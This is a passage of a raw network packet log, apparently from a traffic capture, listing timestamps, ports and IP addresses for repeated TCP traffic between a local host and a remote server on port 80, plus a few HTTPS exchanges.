Nov 12, 2024 13:35:40.061620951 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.061645985 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.061645985 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.061733007 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.061744928 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.061753988 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.061764956 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.061775923 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.061781883 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.061781883 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.061795950 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.061927080 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.061938047 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.061949015 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.061959028 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.061970949 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.061979055 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.061981916 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.061997890 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.062005043 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.062010050 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.062033892 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.062068939 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.062093019 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.062113047 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.062124968 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.062140942 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.062184095 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.062221050 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.062232018 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.062242031 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.062252998 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.062263012 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.062314034 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.062350035 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.062412977 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.062423944 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.062436104 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.062447071 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.062463999 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.062464952 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.062474966 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.062485933 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.062495947 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.062495947 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.062495947 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.062506914 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.062535048 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.062585115 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.062592030 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.062597990 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.062608004 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.062760115 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.062764883 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.062772036 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.062783957 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.062796116 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.062808037 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.062819004 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.062819004 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.062894106 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.062905073 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.062922001 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.062923908 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.062932968 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.062943935 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.062956095 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.062958956 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.062968016 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.062978029 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.062982082 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.062982082 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.062989950 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.063014030 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.063079119 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.063106060 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.063174963 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.063177109 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.063189030 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.063199043 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.063270092 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.063282013 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.063292027 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.063303947 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.063317060 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.063317060 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.063323975 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.063325882 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.063335896 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.063364029 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.063385010 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.063410997 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.063498020 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.063508987 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.063519001 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.063522100 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.063529968 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.063540936 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.063551903 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.063555002 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.063555002 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.063563108 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.063575029 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.063585043 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.063592911 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.063621044 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.063621044 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.063736916 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.063746929 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.063757896 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.063774109 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.063785076 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.063786983 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.063796997 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.063870907 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.063888073 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.063888073 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.063900948 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.063909054 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.063911915 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.063922882 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.063934088 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.063951969 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.063951969 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.064004898 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.064028025 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.064100027 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.064105988 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.064117908 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.064133883 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.064146042 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.064157009 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.064172983 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.064182043 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.064182043 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.064183950 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.064203024 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.064275980 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.066720009 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.066742897 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.066809893 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.066819906 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.066845894 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.066903114 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.067769051 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.067785978 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.067852020 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.067857981 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.068002939 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.068622112 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.068639994 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.068717003 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.068722010 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.068965912 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.069263935 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.069278955 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.069348097 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.069353104 CET	443	51629	23.221.22.200	192.168.2.6
Nov 12, 2024 13:35:40.070322037 CET	51629	443	192.168.2.6	23.221.22.200
Nov 12, 2024 13:35:40.110187054 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.110215902 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.110228062 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.110239029 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.110250950 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.110285997 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.110389948 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.164948940 CET	443	62207	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:40.165893078 CET	62207	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:40.165893078 CET	62207	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:40.165918112 CET	443	62207	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:40.165951967 CET	443	62207	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:40.177743912 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.177810907 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.177820921 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.177885056 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.177896976 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.177906990 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.177907944 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.177957058 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.177957058 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.177963972 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.177974939 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.177987099 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.178040981 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.178098917 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.178109884 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.178121090 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.178133011 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.178143978 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.178148031 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.178174973 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.178174973 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.178275108 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.178287029 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.178297997 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.178308964 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.178320885 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.178333998 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.178364038 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.178390980 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.178431034 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.178493977 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.178505898 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.178507090 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.178517103 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.178528070 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.178544044 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.178554058 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.178564072 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.178575993 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.178591013 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.178591013 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.178591013 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.178634882 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.178780079 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.178792953 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.178805113 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.178814888 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.178834915 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.178848028 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.178858995 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.178858995 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.178859949 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.178873062 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.178899050 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.178908110 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.178920031 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.178982019 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.178992987 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.179003000 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.179014921 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.179025888 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.179033995 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.179033995 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.179090023 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.179090023 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.179157019 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.179167986 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.179223061 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.179223061 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.179300070 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.179318905 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.179330111 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.179341078 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.179346085 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.179352999 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.179363966 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.179377079 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.179385900 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.179389000 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.179389000 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.179406881 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.179488897 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.179582119 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.179605961 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.179615974 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.179627895 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.179640055 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.179651976 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.179655075 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.179666042 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.179677010 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.179687023 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.179687023 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.179699898 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.179708004 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.179708004 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.179800987 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.179961920 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.179974079 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.179999113 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.180010080 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.180021048 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.180033922 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.180038929 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.180038929 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.180224895 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.180236101 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.180248022 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.180252075 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.180258989 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.180270910 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.180282116 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.180285931 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.180285931 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.180294037 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.180305004 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.180320978 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.180339098 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.180351019 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.180361986 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.180370092 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.180378914 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.180389881 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.180401087 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.180408001 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.180408001 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.180412054 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.180423021 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.180435896 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.180448055 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.180459023 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.180459976 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.180459023 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.180485964 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.180485964 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.180540085 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.180975914 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.180986881 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.180998087 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.181009054 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.181020975 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.181031942 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.181042910 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.181055069 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.181063890 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.181063890 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.181094885 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.181094885 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.181282997 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.181293964 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.181304932 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.181315899 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.181317091 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.181328058 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.181349993 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.181359053 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.181370020 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.181380987 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.181381941 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.181391954 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.181402922 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.181415081 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.181425095 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.181427002 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.181427002 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.181436062 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.181442976 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:40.181448936 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:40.181459904 CET	80	51556	185.215.113.206	192.168.2.6
